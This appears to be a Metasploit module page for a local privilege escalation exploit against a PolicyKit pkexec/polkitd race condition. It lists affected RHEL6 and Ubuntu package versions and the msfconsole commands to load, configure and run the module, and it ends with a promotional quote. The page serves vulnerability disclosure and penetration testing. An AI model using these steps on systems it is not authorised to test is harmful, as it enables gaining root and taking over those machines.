A race condition flaw was found in the PolicyKit pkexec utility and polkitd daemon. A local user could use this flaw to appear as a privileged user to pkexec, allowing them to execute arbitrary commands as root by running those commands with pkexec. Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
Linux
x86, x64
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/local/pkexec
msf exploit(pkexec) > show targets
...targets...
msf exploit(pkexec) > set TARGET < target-id >
msf exploit(pkexec) > show options
...show and set options...
msf exploit(pkexec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security